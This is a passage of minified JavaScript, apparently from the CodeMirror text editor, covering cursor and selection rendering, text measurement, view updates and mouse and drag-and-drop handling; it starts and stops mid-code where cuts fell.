c=s.markedSpans[a],u=c.marker;if((null==c.from||(u.inclusiveLeft?c.from<=o.ch:c.from<o.ch))&&(null==c.to||(u.inclusiveRight?c.to>=o.ch:c.to>o.ch))){if(i&&(Jr(u,"beforeCursorEnter"),u.explicitlyCleared)){if(s.markedSpans){--a;continue}break}if(u.atomic){if(a=u.find(0>l?-1:1),0==lr(a,o)&&(a.ch+=l,0>a.ch?a=a.line>e.first?oe(e,or(a.line-1)):null:a.ch>s.text.length&&(a=a.line<e.first+e.size-1?or(a.line+1,0):null),!a)){if(r)return i?(e.cantEdit=!0,or(e.first,0)):ve(e,t,n,!0);r=!0,a=t,l=-l}o=a;continue e}}}return o}}function ye(e){e.display.input.showSelection(e.display.input.prepareSelection())}function be(e,t){for(var n=e.doc,i={},r=i.cursors=document.createDocumentFragment(),o=i.selection=document.createDocumentFragment(),l=0;l<n.sel.ranges.length;l++)if(!1!==t||l!=n.sel.primIndex){var s=n.sel.ranges[l],a=s.empty();if(a||e.options.showCursorWhenSelecting){var c=e,u=r,h=Ge(c,s.head,"div",null,null,!c.options.singleCursorHeightPerLine),f=u.appendChild(wi("div"," ","CodeMirror-cursor"));f.style.left=h.left+"px",f.style.top=h.top+"px",f.style.height=Math.max(0,h.bottom-h.top)*c.options.cursorHeight+"px",h.other&&((c=u.appendChild(wi("div"," ","CodeMirror-cursor CodeMirror-secondarycursor"))).style.display="",c.style.left=h.other.left+"px",c.style.top=h.other.top+"px",c.style.height=.85*(h.other.bottom-h.other.top)+"px")}a||we(e,s,o)}return i}function we(e,t,n){function i(e,t,n,i){0>t&&(t=0),t=Math.round(t),i=Math.round(i),s.appendChild(wi("div",null,"CodeMirror-selected","position: absolute; left: "+e+"px; top: "+t+"px; width: "+(null==n?c-e:n)+"px; height: "+(i-t)+"px"))}function r(t,n,r){var o,s,u=En(l,t),h=u.text.length;return function(e,t,n,i){if(!e)return i(t,n,"ltr");for(var r=!1,o=0;o<e.length;++o){var l=e[o];(l.from<n&&l.to>t||t==n&&l.to==t)&&(i(Math.max(l.from,t),Math.min(l.to,n),1==l.level?"rtl":"ltr"),r=!0)}r||i(t,n,"ltr")}(Gn(u),n||0,null==r?h:r,(function(l,f,d){var p,g,m=Be(e,or(t,l),"div",u,"left");l==f?(p=m,d=g=m.left):(p=Be(e,or(t,f-1),"div",u,"right"),"rtl"==d&&(d=m,m=p,p=d),d=m.left,g=p.right),null==n&&0==l&&(d=a),3<p.top-m.top&&(i(d,m.top,null,m.bottom),d=a,m.bottom<p.top&&i(d,m.bottom,null,p.top)),null==r&&f==h&&(g=c),(!o||m.top<o.top||m.top==o.top&&m.left<o.left)&&(o=m),(!s||p.bottom>s.bottom||p.bottom==s.bottom&&p.right>s.right)&&(s=p),d<a+1&&(d=a),i(d,p.top,g-d,p.bottom)})),{start:o,end:s}}var o=e.display,l=e.doc,s=document.createDocumentFragment(),a=(h=ke(e.display)).left,c=Math.max(o.sizerWidth,Ne(e)-o.sizer.offsetLeft)-h.right;if(o=t.from(),t=t.to(),o.line==t.line)r(o.line,o.ch,t.ch);else{var u=En(l,o.line),h=En(l,t.line);h=an(u)==an(h),o=r(o.line,o.ch,h?u.text.length+1:null).end,t=r(t.line,h?0:null,t.ch).start,h&&(o.top<t.top-2?(i(o.right,o.top,null,o.bottom),i(a,t.top,t.left,t.bottom)):i(o.right,o.top,t.left-o.right,o.bottom)),o.bottom<t.top&&i(a,o.bottom,null,t.top)}n.appendChild(s)}function xe(e){if(e.state.focused){var t=e.display;clearInterval(t.blinker);var n=!0;t.cursorDiv.style.visibility="",0<e.options.cursorBlinkRate?t.blinker=setInterval((function(){t.cursorDiv.style.visibility=(n=!n)?"":"hidden"}),e.options.cursorBlinkRate):0>e.options.cursorBlinkRate&&(t.cursorDiv.style.visibility="hidden")}}function Ce(e,t){e.doc.mode.startState&&e.doc.frontier<e.display.viewTo&&e.state.highlight.set(t,mi(Se,e))}function Se(e){var t=e.doc;if(t.frontier<t.first&&(t.frontier=t.first),!(t.frontier>=e.display.viewTo)){var n=+new Date+e.options.workTime,i=Ar(t.mode,Le(e,t.frontier)),r=[];t.iter(t.frontier,Math.min(t.first+t.size,e.display.viewTo+500),(function(o){if(t.frontier>=e.display.viewFrom){var l=o.styles,s=bn(e,o,i,!0);o.styles=s.styles;var a=o.styleClasses;for((s=s.classes)?o.styleClasses=s:a&&(o.styleClasses=null),a=!l||l.length!=o.styles.length||a!=s&&(!a||!s||a.bgClass!=s.bgClass||a.textClass!=s.textClass),s=0;!a&&s<l.length;++s)a=l[s]!=o.styles[s];a&&r.push(t.frontier),o.stateAfter=Ar(t.mode,i)}else xn(e,o.text,i),o.stateAfter=0==t.frontier%5?Ar(t.mode,i):null;if(++t.frontier,+new Date>n)return Ce(e,e.options.workDelay),!0})),r.length&&qe(e,(function(){for(var t=0;t<r.length;t++)it(e,r[t],"text")}))}}function Le(e,t,n){var i=e.doc,r=e.display;if(!i.mode.startState)return!0;var o=function(e,t,n){for(var i,r,o=e.doc,l=n?-1:t-(e.doc.mode.innerMode?1e3:100);t>l;--t){if(t<=o.first)return o.first;var s=En(o,t-1);if(s.stateAfter&&(!n||t<=o.frontier))return t;s=lo(s.text,null,e.options.tabSize),(null==r||i>s)&&(r=t-1,i=s)}return r}(e,t,n),l=(l=o>i.first&&En(i,o-1).stateAfter)?Ar(i.mode,l):Wr(i.mode);return i.iter(o,t,(function(n){xn(e,n.text,l),n.stateAfter=o==t-1||0==o%5||o>=r.viewFrom&&o<r.viewTo?Ar(i.mode,l):null,++o})),n&&(i.frontier=o),l}function Te(e){return e.mover.offsetHeight-e.lineSpace.offsetHeight}function ke(e){if(e.cachedPaddingH)return e.cachedPaddingH;var t=Ci(e.measure,wi("pre","x"));return t=window.getComputedStyle?window.getComputedStyle(t):t.currentStyle,t={left:parseInt(t.paddingLeft),right:parseInt(t.paddingRight)},isNaN(t.left)||isNaN(t.right)||(e.cachedPaddingH=t),t}function Me(e){return to-e.display.nativeBarWidth}function Ne(e){return e.display.scroller.clientWidth-Me(e)-e.display.barWidth}function Ae(e){return e.display.scroller.clientHeight-Me(e)-e.display.barHeight}function We(e,t,n){if(e.line==t)return{map:e.measure.map,cache:e.measure.cache};for(var i=0;i<e.rest.length;i++)if(e.rest[i]==t)return{map:e.measure.maps[i],cache:e.measure.caches[i]};for(i=0;i<e.rest.length;i++)if(Fn(e.rest[i])>n)return{map:e.measure.maps[i],cache:e.measure.caches[i],before:!0}}function Oe(e,t){if(t>=e.display.viewFrom&&t<e.display.viewTo)return e.display.view[ot(e,t)];var n=e.display.externalMeasured;return n&&t>=n.lineN&&t<n.lineN+n.size?n:void 0}function De(e,t){var n,i=Fn(t),r=Oe(e,i);return r&&!r.text?r=null:r&&r.changes&&D(e,r,i,O(e)),r||(r=Fn(n=an(t)),(n=e.display.externalMeasured=new et(e.doc,n,r)).lineN=r,r=n.built=Sn(e,n),n.text=r.pre,Ci(e.display.lineMeasure,r.pre),r=n),{line:t,view:r,rect:null,map:(i=We(r,t,i)).map,cache:i.cache,before:i.before,hasHeights:!1}}function He(e,t,n,i,r){t.before&&(n=-1);var o=n+(i||"");if(t.cache.hasOwnProperty(o))e=t.cache[o];else{if(t.rect||(t.rect=t.view.text.getBoundingClientRect()),!t.hasHeights){var l=t.view,s=t.rect,a=e.options.lineWrapping,c=a&&Ne(e);if(!l.measure.heights||a&&l.measure.width!=c){var u=l.measure.heights=[];if(a)for(l.measure.width=c,l=l.text.firstChild.getClientRects(),a=0;a<l.length-1;a++){c=l[a];var h=l[a+1];2<Math.abs(c.bottom-h.bottom)&&u.push((c.bottom+h.top)/2-s.top)}u.push(s.bottom-s.top)}t.hasHeights=!0}var f;if(l=i,i=(a=Ee(t.map,n,l)).node,s=a.start,c=a.end,n=a.collapse,3==i.nodeType){for(u=0;4>u;u++){for(;s&&bi(t.line.text.charAt(a.coverStart+s));)--s;for(;a.coverStart+c<a.coverEnd&&bi(t.line.text.charAt(a.coverStart+c));)++c;if(Gi&&9>Ui&&0==s&&c==a.coverEnd-a.coverStart)f=i.parentNode.getBoundingClientRect();else if(Gi&&e.options.lineWrapping){var d=co(i,s,c).getClientRects();f=d.length?d["right"==l?d.length-1:0]:hr}else f=co(i,s,c).getBoundingClientRect()||hr;if(f.left||f.right||0==s)break;c=s,--s,n="right"}Gi&&11>Ui&&((d=!window.screen||null==screen.logicalXDPI||screen.logicalXDPI==screen.deviceXDPI)||(null!=To?d=To:(d=(u=Ci(e.display.measure,wi("span","x"))).getBoundingClientRect(),u=co(u,0,1).getBoundingClientRect(),d=To=1<Math.abs(d.left-u.left)),d=!d),d||(d=screen.logicalXDPI/screen.deviceXDPI,u=screen.logicalYDPI/screen.deviceYDPI,f={left:f.left*d,right:f.right*d,top:f.top*u,bottom:f.bottom*u}))}else 0<s&&(n=l="right"),f=e.options.lineWrapping&&1<(d=i.getClientRects()).length?d["right"==l?d.length-1:0]:i.getBoundingClientRect();for(!(Gi&&9>Ui)||s||f&&(f.left||f.right)||(f=(f=i.parentNode.getClientRects()[0])?{left:f.left,right:f.left+Ye(e.display),top:f.top,bottom:f.bottom}:hr),s=((d=f.top-t.rect.top)+(i=f.bottom-t.rect.top))/2,l=t.view.measure.heights,u=0;u<l.length-1&&!(s<l[u]);u++);n={left:("right"==n?f.right:f.left)-t.rect.left,right:("left"==n?f.left:f.right)-t.rect.left,top:u?l[u-1]:0,bottom:l[u]},f.left||f.right||(n.bogus=!0),e.options.singleCursorHeightPerLine||(n.rtop=d,n.rbottom=i),(e=n).bogus||(t.cache[o]=e)}return{left:e.left,right:e.right,top:r?e.rtop:e.top,bottom:r?e.rbottom:e.bottom}}function Ee(e,t,n){for(var i,r,o,l,s=0;s<e.length;s+=3){var a=e[s],c=e[s+1];if(t<a?(r=0,o=1,l="left"):t<c?o=1+(r=t-a):(s==e.length-3||t==c&&e[s+3]>t)&&(r=(o=c-a)-1,t>=c&&(l="right")),null!=r){if(i=e[s+2],a==c&&n==(i.insertLeft?"left":"right")&&(l=n),"left"==n&&0==r)for(;s&&e[s-2]==e[s-3]&&e[s-1].insertLeft;)i=e[2+(s-=3)],l="left";if("right"==n&&r==c-a)for(;s<e.length-3&&e[s+3]==e[s+4]&&!e[s+5].insertLeft;)i=e[(s+=3)+2],l="right";break}}return{node:i,start:r,end:o,collapse:l,coverStart:a,coverEnd:c}}function Ie(e){if(e.measure&&(e.measure.cache={},e.measure.heights=null,e.rest))for(var t=0;t<e.rest.length;t++)e.measure.caches[t]={}}function Pe(e){e.display.externalMeasure=null,xi(e.display.lineMeasure);for(var t=0;t<e.display.view.length;t++)Ie(e.display.view[t])}function ze(e){Pe(e),e.display.cachedCharWidth=e.display.cachedTextHeight=e.display.cachedPaddingH=null,e.options.lineWrapping||(e.display.maxLineChanged=!0),e.display.lineNumChars=null}function Fe(e,t,n,i){if(t.widgets)for(var r=0;r<t.widgets.length;++r)if(t.widgets[r].above){var o=dn(t.widgets[r]);n.top+=o,n.bottom+=o}return"line"==i||(i||(i="local"),t=Bn(t),t="local"==i?t+e.display.lineSpace.offsetTop:t-e.display.viewOffset,"page"!=i&&"window"!=i||(t+=(e=e.display.lineSpace.getBoundingClientRect()).top+("window"==i?0:window.pageYOffset||(document.documentElement||document.body).scrollTop),i=e.left+("window"==i?0:window.pageXOffset||(document.documentElement||document.body).scrollLeft),n.left+=i,n.right+=i),n.top+=t,n.bottom+=t),n}function Re(e,t,n){if("div"==n)return t;var i=t.left;return t=t.top,"page"==n?(i-=window.pageXOffset||(document.documentElement||document.body).scrollLeft,t-=window.pageYOffset||(document.documentElement||document.body).scrollTop):"local"!=n&&n||(i+=(n=e.display.sizer.getBoundingClientRect()).left,t+=n.top),{left:i-(e=e.display.lineSpace.getBoundingClientRect()).left,top:t-e.top}}function Be(e,t,n,i,r){i||(i=En(e.doc,t.line));var o=i;return t=t.ch,Fe(e,o,i=He(e,De(e,i),t,r),n)}function Ge(e,t,n,i,r,o){function l(t,l){var s=He(e,r,t,l?"right":"left",o);return l?s.left=s.right:s.right=s.left,Fe(e,i,s,n)}function s(e,t){var n=a[t],i=n.level%2;return e==Ni(n)&&t&&n.level<a[t-1].level?(e=Ai(n=a[--t])-(n.level%2?0:1),i=!0):e==Ai(n)&&t<a.length-1&&n.level<a[t+1].level&&(e=Ni(n=a[++t])-n.level%2,i=!1),i&&e==n.to&&e>n.from?l(e-1):l(e,i)}i=i||En(e.doc,t.line),r||(r=De(e,i));var a=Gn(i);if(t=t.ch,!a)return l(t);var c=s(t,c=Ei(a,t));return null!=Mo&&(c.other=s(t,Mo)),c}function Ue(e,t){var n=0;t=oe(e.doc,t),e.options.lineWrapping||(n=Ye(e.display)*t.ch);var i=En(e.doc,t.line),r=Bn(i)+e.display.lineSpace.offsetTop;return{left:n,right:n,top:r,bottom:r+i.height}}function Ve(e,t,n,i){return(e=or(e,t)).xRel=i,n&&(e.outside=!0),e}function Ke(e,t,n){var i=e.doc;if(0>(n+=e.display.viewOffset))return Ve(i.first,0,!0,-1);var r=Rn(i,n),o=i.first+i.size-1;if(r>o)return Ve(i.first+i.size-1,En(i,o).text.length,!0,1);for(0>t&&(t=0),i=En(i,r);;){if(r=Xe(e,i,r,t,n),o=(i=ln(i,!1))&&i.find(0,!0),!i||!(r.ch>o.from.ch||r.ch==o.from.ch&&0<r.xRel))return r;r=Fn(i=o.to.line)}}function Xe(e,t,n,i,r){function o(i){return i=Ge(e,or(n,i),"line",t,c),s=!0,l>i.bottom?i.left-a:l<i.top?i.left+a:(s=!1,i.left)}var l=r-Bn(t),s=!1,a=2*e.display.wrapper.clientWidth,c=De(e,t),u=Gn(t),h=t.text.length;r=Wi(t);var f=Oi(t),d=o(r),p=s,g=o(f),m=s;if(i>g)return Ve(n,f,m,1);for(;;){if(u?f==r||f==Pi(t,r,1):1>=f-r){for(i-=(u=i<d||i-d<=g-i?r:f)==r?d:g;bi(t.text.charAt(u));)++u;return Ve(n,u,u==r?p:m,-1>i?-1:1<i?1:0)}var v=Math.ceil(h/2),y=r+v;if(u){y=r;for(var b=0;b<v;++b)y=Pi(t,y,1)}(b=o(y))>i?(f=y,g=b,(m=s)&&(g+=1e3),h=v):(r=y,d=b,p=s,h-=v)}}function je(e){if(null!=e.cachedTextHeight)return e.cachedTextHeight;if(null==ar){ar=wi("pre");for(var t=0;49>t;++t)ar.appendChild(document.createTextNode("x")),ar.appendChild(wi("br"));ar.appendChild(document.createTextNode("x"))}return Ci(e.measure,ar),3<(t=ar.offsetHeight/50)&&(e.cachedTextHeight=t),xi(e.measure),t||1}function Ye(e){if(null!=e.cachedCharWidth)return e.cachedCharWidth;var t=wi("span","xxxxxxxxxx"),n=wi("pre",[t]);return Ci(e.measure,n),2<(t=((t=t.getBoundingClientRect()).right-t.left)/10)&&(e.cachedCharWidth=t),t||10}function _e(e){e.curOp={cm:e,viewChanged:!1,startHeight:e.doc.height,forceUpdate:!1,updateInput:null,typing:!1,changeObjs:null,cursorActivityHandlers:null,cursorActivityCalled:0,selectionChanged:!1,updateMaxLine:!1,scrollLeft:null,scrollTop:null,scrollToPos:null,focus:!1,id:++dr},fr?fr.ops.push(e.curOp):e.curOp.ownsGroup=fr={ops:[e.curOp],delayedCallbacks:[]}}function $e(e){if(e=e.curOp.ownsGroup)try{var t=e.delayedCallbacks,n=0;do{for(;n<t.length;n++)t[n]();for(var i=0;i<e.ops.length;i++)if((r=e.ops[i]).cursorActivityHandlers)for(;r.cursorActivityCalled<r.cursorActivityHandlers.length;)r.cursorActivityHandlers[r.cursorActivityCalled++](r.cm)}while(n<t.length)}finally{for(fr=null,t=0;t<e.ops.length;t++)e.ops[t].cm.curOp=null;for(e=e.ops,t=0;t<e.length;t++){var r,o=i=(n=(r=e[t]).cm).display;!o.scrollbarsClipped&&o.scroller.offsetWidth&&(o.nativeBarWidth=o.scroller.offsetWidth-o.scroller.clientWidth,o.heightForcer.style.height=Me(n)+"px",o.sizer.style.marginBottom=-o.nativeBarWidth+"px",o.sizer.style.borderRightWidth=Me(n)+"px",o.scrollbarsClipped=!0),r.updateMaxLine&&h(n),r.mustUpdate=r.viewChanged||r.forceUpdate||null!=r.scrollTop||r.scrollToPos&&(r.scrollToPos.from.line<i.viewFrom||r.scrollToPos.to.line>=i.viewTo)||i.maxLineChanged&&n.options.lineWrapping,r.update=r.mustUpdate&&new L(n,r.mustUpdate&&{top:r.scrollTop,ensure:r.scrollToPos},r.forceUpdate)}for(t=0;t<e.length;t++)(r=e[t]).updatedDisplay=r.mustUpdate&&T(r.cm,r.update);for(t=0;t<e.length;t++)i=(n=(r=e[t]).cm).display,r.updatedDisplay&&A(n),r.barMeasure=d(n),i.maxLineChanged&&!n.options.lineWrapping&&(o=void 0,o=i.maxLine.text.length,o=He(n,De(n,i.maxLine),o,void 0),r.adjustWidthTo=o.left+3,n.display.sizerWidth=r.adjustWidthTo,r.barMeasure.scrollWidth=Math.max(i.scroller.clientWidth,i.sizer.offsetLeft+r.adjustWidthTo+Me(n)+n.display.barWidth),r.maxScrollLeft=Math.max(0,i.sizer.offsetLeft+r.adjustWidthTo-Ne(n))),(r.updatedDisplay||r.selectionChanged)&&(r.preparedSelection=i.input.prepareSelection());for(t=0;t<e.length;t++)n=(r=e[t]).cm,null!=r.adjustWidthTo&&(n.display.sizer.style.minWidth=r.adjustWidthTo+"px",r.maxScrollLeft<n.doc.scrollLeft&>(n,Math.min(n.display.scroller.scrollLeft,r.maxScrollLeft),!0),n.display.maxLineChanged=!1),r.preparedSelection&&n.display.input.showSelection(r.preparedSelection),r.updatedDisplay&&N(n,r.barMeasure),(r.updatedDisplay||r.startHeight!=n.doc.height)&&v(n,r.barMeasure),r.selectionChanged&&xe(n),n.state.focused&&r.updateInput&&n.display.input.reset(r.typing),r.focus&&r.focus==Si()&&V(r.cm);for(t=0;t<e.length;t++){if(i=(n=(r=e[t]).cm).display,o=n.doc,r.updatedDisplay&&k(n,r.update),null==i.wheelStartX||null==r.scrollTop&&null==r.scrollLeft&&!r.scrollToPos||(i.wheelStartX=i.wheelStartY=null),null==r.scrollTop||i.scroller.scrollTop==r.scrollTop&&!r.forceScroll||(o.scrollTop=Math.max(0,Math.min(i.scroller.scrollHeight-i.scroller.clientHeight,r.scrollTop)),i.scrollbars.setScrollTop(o.scrollTop),i.scroller.scrollTop=o.scrollTop),null==r.scrollLeft||i.scroller.scrollLeft==r.scrollLeft&&!r.forceScroll||(o.scrollLeft=Math.max(0,Math.min(i.scroller.scrollWidth-Ne(n),r.scrollLeft)),i.scrollbars.setScrollLeft(o.scrollLeft),i.scroller.scrollLeft=o.scrollLeft,w(n)),r.scrollToPos){var l=void 0,s=oe(o,r.scrollToPos.from),a=(l=oe(o,r.scrollToPos.to),r.scrollToPos.margin);null==a&&(a=0);for(var c=0;5>c;c++){var u=!1,f=Ge(n,s),p=l&&l!=s?Ge(n,l):f,g=(p=Pt(n,Math.min(f.left,p.left),Math.min(f.top,p.top)-a,Math.max(f.left,p.left),Math.max(f.bottom,p.bottom)+a),n.doc.scrollTop),m=n.doc.scrollLeft;if(null!=p.scrollTop&&(pt(n,p.scrollTop),1<Math.abs(n.doc.scrollTop-g)&&(u=!0)),null!=p.scrollLeft&&(gt(n,p.scrollLeft),1<Math.abs(n.doc.scrollLeft-m)&&(u=!0)),!u)break}l=f,r.scrollToPos.isCursor&&n.state.focused&&(ii(n,"scrollCursorIntoView")||(c=(a=n.display).sizer.getBoundingClientRect(),s=null,0>l.top+c.top?s=!0:l.bottom+c.top>(window.innerHeight||document.documentElement.clientHeight)&&(s=!1),null==s||$i||(l=wi("div","",null,"position: absolute; top: "+(l.top-a.viewOffset-n.display.lineSpace.offsetTop)+"px; height: "+(l.bottom-l.top+Me(n)+a.barHeight)+"px; left: "+l.left+"px; width: 2px;"),n.display.lineSpace.appendChild(l),l.scrollIntoView(s),n.display.lineSpace.removeChild(l))))}if(s=r.maybeHiddenMarkers,l=r.maybeUnhiddenMarkers,s)for(a=0;a<s.length;++a)s[a].lines.length||Jr(s[a],"hide");if(l)for(a=0;a<l.length;++a)l[a].lines.length&&Jr(l[a],"unhide");i.wrapper.offsetHeight&&(o.scrollTop=n.display.scroller.scrollTop),r.changeObjs&&Jr(n,"changes",n,r.changeObjs),r.update&&r.update.finish()}}}function qe(e,t){if(e.curOp)return t();_e(e);try{return t()}finally{$e(e)}}function Ze(e,t){return function(){if(e.curOp)return t.apply(e,arguments);_e(e);try{return t.apply(e,arguments)}finally{$e(e)}}}function Qe(e){return function(){if(this.curOp)return e.apply(this,arguments);_e(this);try{return e.apply(this,arguments)}finally{$e(this)}}}function Je(e){return function(){var t=this.cm;if(!t||t.curOp)return e.apply(this,arguments);_e(t);try{return e.apply(this,arguments)}finally{$e(t)}}}function et(e,t,n){for(var i,r=this.line=t;r=ln(r,!1);)r=r.find(1,!0).line,(i||(i=[])).push(r);this.size=(this.rest=i)?Fn(ui(this.rest))-n+1:1,this.node=this.text=null,this.hidden=hn(e,t)}function tt(e,t,n){var i,r=[];for(i=t;i<n;)i+=(t=new et(e.doc,En(e.doc,i),i)).size,r.push(t);return r}function nt(e,t,n,i){null==t&&(t=e.doc.first),null==n&&(n=e.doc.first+e.doc.size),i||(i=0);var r=e.display;if(i&&n<r.viewTo&&(null==r.updateLineNumbers||r.updateLineNumbers>t)&&(r.updateLineNumbers=t),e.curOp.viewChanged=!0,t>=r.viewTo)rr&&cn(e.doc,t)<r.viewTo&&rt(e);else if(n<=r.viewFrom)rr&&un(e.doc,n+i)>r.viewFrom?rt(e):(r.viewFrom+=i,r.viewTo+=i);else if(t<=r.viewFrom&&n>=r.viewTo)rt(e);else if(t<=r.viewFrom)(o=lt(e,n,n+i,1))?(r.view=r.view.slice(o.index),r.viewFrom=o.lineN,r.viewTo+=i):rt(e);else if(n>=r.viewTo)(o=lt(e,t,t,-1))?(r.view=r.view.slice(0,o.index),r.viewTo=o.lineN):rt(e);else{var o=lt(e,t,t,-1),l=lt(e,n,n+i,1);o&&l?(r.view=r.view.slice(0,o.index).concat(tt(e,o.lineN,l.lineN)).concat(r.view.slice(l.index)),r.viewTo+=i):rt(e)}(e=r.externalMeasured)&&(n<e.lineN?e.lineN+=i:t<e.lineN+e.size&&(r.externalMeasured=null))}function it(e,t,n){e.curOp.viewChanged=!0;var i=e.display,r=e.display.externalMeasured;r&&t>=r.lineN&&t<r.lineN+r.size&&(i.externalMeasured=null),t<i.viewFrom||t>=i.viewTo||null!=(e=i.view[ot(e,t)]).node&&-1==hi(e=e.changes||(e.changes=[]),n)&&e.push(n)}function rt(e){e.display.viewFrom=e.display.viewTo=e.doc.first,e.display.view=[],e.display.viewOffset=0}function ot(e,t){if(t>=e.display.viewTo)return null;if(0>(t-=e.display.viewFrom))return null;for(var n=e.display.view,i=0;i<n.length;i++)if(0>(t-=n[i].size))return i}function lt(e,t,n,i){var r=ot(e,t),o=e.display.view;if(!rr||n==e.doc.first+e.doc.size)return{index:r,lineN:n};for(var l=0,s=e.display.viewFrom;l<r;l++)s+=o[l].size;if(s!=t){if(0<i){if(r==o.length-1)return null;t=s+o[r].size-t,r++}else t=s-t;n+=t}for(;cn(e.doc,n)!=n;){if(r==(0>i?0:o.length-1))return null;n+=i*o[r-(0>i?1:0)].size,r+=i}return{index:r,lineN:n}}function st(e){e=e.display.view;for(var t=0,n=0;n<e.length;n++){var i=e[n];i.hidden||i.node&&!i.changes||++t}return t}function at(e){var t=e.display;t.lastWrapHeight==t.wrapper.clientHeight&&t.lastWrapWidth==t.wrapper.clientWidth||(t.cachedCharWidth=t.cachedTextHeight=t.cachedPaddingH=null,t.scrollbarsClipped=!1,e.setSize())}function ct(e,t){for(var n=t.target||t.srcElement;n!=e.wrapper;n=n.parentNode)if(!n||1==n.nodeType&&"true"==n.getAttribute("cm-ignore-events")||n.parentNode==e.sizer&&n!=e.mover)return!0}function ut(e,t,n,i){var r,o,l,s=e.display;if(!n&&"true"==(t.target||t.srcElement).getAttribute("cm-not-content"))return null;n=s.lineSpace.getBoundingClientRect();try{r=t.clientX-n.left,o=t.clientY-n.top}catch(e){return null}return t=Ke(e,r,o),i&&1==t.xRel&&(l=En(e.doc,t.line).text).length==t.ch&&(i=lo(l,l.length,e.options.tabSize)-l.length,t=or(t.line,Math.max(0,Math.round((r-ke(e.display).left)/Ye(e.display))-i))),t}function ht(e){var t=this.display;if(!(t.activeTouch&&t.input.supportsTouch()||ii(this,e)))if(t.shift=e.shiftKey,ct(t,e))Vi||(t.scroller.draggable=!1,setTimeout((function(){t.scroller.draggable=!0}),100));else if(!ft(this,e,"gutterClick",!0,ti)){var n=ut(this,e);switch(window.focus(),ei(e)){case 1:n?function(e,t,n){Gi?setTimeout(mi(V,e),0):e.curOp.focus=Si();var i,r=+new Date;ur&&ur.time>r-400&&0==lr(ur.pos,n)?i="triple":cr&&cr.time>r-400&&0==lr(cr.pos,n)?(i="double",ur={time:r,pos:n}):(i="single",cr={time:r,pos:n}),r=e.doc.sel;var o,l=Qi?t.metaKey:t.ctrlKey;e.options.dragDrop&&xo&&!K(e)&&"single"==i&&-1<(o=r.contains(n))&&!r.ranges[o].empty()?function(e,t,n,i){var r=e.display,o=+new Date,l=Ze(e,(function(s){Vi&&(r.scroller.draggable=!1),e.state.draggingText=!1,Qr(document,"mouseup",l),Qr(r.scroller,"drop",l),10>Math.abs(t.clientX-s.clientX)+Math.abs(t.clientY-s.clientY)&&(_r(s),!i&&+new Date-200<o&&ae(e.doc,n),Vi||Gi&&9==Ui?setTimeout((function(){document.body.focus(),r.input.focus()}),20):r.input.focus())}));Vi&&(r.scroller.draggable=!0),e.state.draggingText=l,r.scroller.dragDrop&&r.scroller.dragDrop(),Zr(document,"mouseup",l),Zr(r.scroller,"drop",l)}(e,t,n,l):function(e,t,n,i,r){function o(t){if(0!=lr(g,t))if(g=t,"rect"==i){for(var r=[],o=e.options.tabSize,l=lo(En(c,n.line).text,n.ch,o),s=lo(En(c,t.line).text,t.ch,o),a=Math.min(l,s),d=(l=Math.max(l,s),s=Math.min(n.line,t.line),Math.min(e.lastLine(),Math.max(n.line,t.line)));s<=d;s++){var p=En(c,s).text,m=ai(p,a,o);a==l?r.push(new ne(or(s,m),or(s,m))):p.length>m&&r.push(new ne(or(s,m),or(s,ai(p,l,o))))}r.length||r.push(new ne(n,n)),fe(c,ie(f.ranges.slice(0,h).concat(r),h),{origin:"*mouse",scroll:!1}),e.scrollIntoView(t)}else o=(r=u).anchor,a=t,"single"!=i&&(t="double"==i?e.findWordAt(t):new ne(or(t.line,0),oe(c,or(t.line+1,0))),0<lr(t.anchor,o)?(a=t.head,o=U(r.from(),t.anchor)):(a=t.anchor,o=G(r.to(),t.head))),(r=f.ranges.slice(0))[h]=new ne(oe(c,o),a),fe(c,ie(r,h),ro)}function l(t){var n=++v,r=ut(e,t,!0,"rect"==i);if(r)if(0!=lr(r,g)){e.curOp.focus=Si(),o(r);var s=b(a,c);(r.line>=s.to||r.line<s.from)&&setTimeout(Ze(e,(function(){v==n&&l(t)})),150)}else{var u=t.clientY<m.top?-20:t.clientY>m.bottom?20:0;u&&setTimeout(Ze(e,(function(){v==n&&(a.scroller.scrollTop+=u,l(t))})),50)}}function s(e){v=1/0,_r(e),a.input.focus(),Qr(document,"mousemove",y),Qr(document,"mouseup",w),c.history.lastSelOrigin=null}var a=e.display,c=e.doc;_r(t);var u,h,f=c.sel,d=f.ranges;if(r&&!t.shiftKey?(h=c.sel.contains(n),u=-1<h?d[h]:new ne(n,n)):(u=c.sel.primary(),h=c.sel.primIndex),t.altKey)i="rect",r||(u=new ne(n,n)),n=ut(e,t,!0,!0),h=-1;else if("double"==i){var p=e.findWordAt(n);u=e.display.shift||c.extend?se(c,u,p.anchor,p.head):p}else"triple"==i?(p=new ne(or(n.line,0),oe(c,or(n.line+1,0))),u=e.display.shift||c.extend?se(c,u,p.anchor,p.head):p):u=se(c,u,n);r?-1==h?(h=d.length,fe(c,ie(d.concat([u]),h),{scroll:!1,origin:"*mouse"})):1<d.length&&d[h].empty()&&"single"==i&&!t.shiftKey?(fe(c,ie(d.slice(0,h).concat(d.slice(h+1)),0)),f=c.sel):ue(c,h,u,ro):(h=0,fe(c,new te([u],0),ro),f=c.sel);var g=n,m=a.wrapper.getBoundingClientRect(),v=0,y=Ze(e,(function(e){ei(e)?l(e):s(e)})),w=Ze(e,s);Zr(document,"mousemove",y),Zr(document,"mouseup",w)}(e,t,n,i,l)}(this,e,n):(e.target||e.srcElement)==t.scroller&&_r(e);break;case 2:Vi&&(this.state.lastMiddleDown=+new Date),n&&ae(this.doc,n),setTimeout((function(){t.input.focus()}),20),_r(e);break;case 3:nr?Tt(this,e):function(e){e.state.delayingBlurEvent=!0,setTimeout((function(){e.state.delayingBlurEvent&&(e.state.delayingBlurEvent=!1,Lt(e))}),100)}(this)}}}function ft(e,t,n,i,r){try{var o=t.clientX,l=t.clientY}catch(e){return!1}if(o>=Math.floor(e.display.gutters.getBoundingClientRect().right))return!1;i&&_r(t);var s=(i=e.display).lineDiv.getBoundingClientRect();if(l>s.bottom||!oi(e,n))return Jn(t);for(l-=s.top-i.viewOffset,s=0;s<e.options.gutters.length;++s){var a=i.gutters.childNodes[s];if(a&&a.getBoundingClientRect().right>=o)return r(e,n,e,o=Rn(e.doc,l),e.options.gutters[s],t),Jn(t)}}function dt(e){var t=this;if(!ii(t,e)&&!ct(t.display,e)){_r(e),Gi&&(pr=+new Date);var n=ut(t,e,!0),i=e.dataTransfer.files;if(n&&!K(t))if(i&&i.length&&window.FileReader&&window.File){var r=i.length,o=Array(r),l=0;e=function(e,i){var s=new FileReader;s.onload=Ze(t,(function(){if(o[i]=s.result,++l==r){var 